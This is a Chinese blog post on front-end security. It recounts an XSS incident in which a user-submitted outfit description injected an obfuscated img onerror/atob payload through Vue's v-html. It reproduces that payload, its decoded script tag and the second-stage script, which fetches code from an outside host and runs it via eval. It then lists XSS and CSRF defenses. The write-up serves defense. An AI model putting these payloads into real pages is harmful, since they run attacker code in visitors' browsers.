导航
导航
文章目录
  1. 前言
  2. 安全于防范
    1. XSS

前端安全与防范

前言

今天主站遭受了xss攻击,起因是一个普通用户发表了一个穿搭,后端接收到异常警报排查后发现用户的穿搭的描述中带有:

1
<p><body/hidden><img src=x onerror=document['write'](atob('PGJvZHkvaGlkZGVuPjxzY3JpcHQgc3JjPWh0dHBzOi8vczUubW9ndWNkbi5jb20vbWxjZG4vYzQ1NDA2LzE5MDQxNV82M2o2NWxlazRkMjJnODZjNWhiN2thOThsOWZmZT48L3NjcmlwdD4='))></p>

因为穿搭look中带有格式化后html的描述内容,所以直接通过v-html指令输出了描述内容:

1
<div v-if="from === 'detail'" v-html="content" ref="content" style="-webkit-user-select: text"></div>

这个时候攻击的html标签将会直接被注入到页面中,这里还涉及到另外一个知识点:

  • btoa(base64加密)
  • atob (base64解密)

经过atob解密后:

1
2
3
4
5
6
7
atob('PGJvZHkvaGlkZGVuPjxzY3JpcHQgc3JjPWh0dHBzOi8vczUubW9ndWNkbi5jb20vbWxjZG4vYzQ1NDA2LzE5MDQxNV82M2o2NWxlazRkMjJnODZjNWhiN2thOThsOWZmZT48L3NjcmlwdD4=')

// 转变成

<body/hidden><script src=https://s5.mogucdn.com/mlcdn/c45406/190415_63j65lek4d22g86c5hb7ka98l9ffe></script>

// 一般攻击者都不会将,body隐藏。而是直接通过盗用信息

通过document['write']将dom写入页面后,通过mogucdn资源将会下载脚本:

1
2
3
4
5
6
7
8
var ua = navigator.userAgent.toLowerCase();

// 在微信环境下,将会通过ajax请求获取站外脚本,获取完成后通过eval动态执行
if (/micromessenger/.test(ua)) {
$.get('https://api.ruanwin.com/j',function(d) {
window['ev' + 'al'](d);
})
}

所幸精选穿搭必须由产品手动审核,该look并不会进入首页,否则至少将造成P1级故障

安全于防范

常见攻击手段

  • XSS

    • 跨站脚本(Cross-site scripting,通常简称为XSS)是一种网站应用程序的安全漏洞攻击,是代码注入的一种。它允许恶意用户将代码注入到网页上,其他用户在观看网页时就会受到影响。这类攻击通常包含了HTML以及用户端脚本语言。
  • CSRF

    • 跨站请求伪造(英语:Cross-site request forgery),也被称为 one-click attack 或者 session riding,通常缩写为 CSRF 或者 XSRF, 是一种挟制用户在当前已登录的Web应用程序上执行非本意的操作的攻击方法。

XSS

XSS防范

在前言中的案例,就是XSS攻击的典范。我们如何避免被XSS攻击呢,可以从以下几方面入手:

  • 输入过滤
    • 符号转译成&lt;等符号

  • 内容输出
    • 含有html输出内容,对 HTML 做安全过滤。下文将详细介绍如果进行安全过滤设计
    • 禁止使用:.innerHTML.outerHTMLdocument.write()
    • Vue/React 技术栈,并且不使用 v-html/dangerouslySetInnerHTML
    • 过滤库js-xss
  • 使用CSP,限制非白名单脚本加载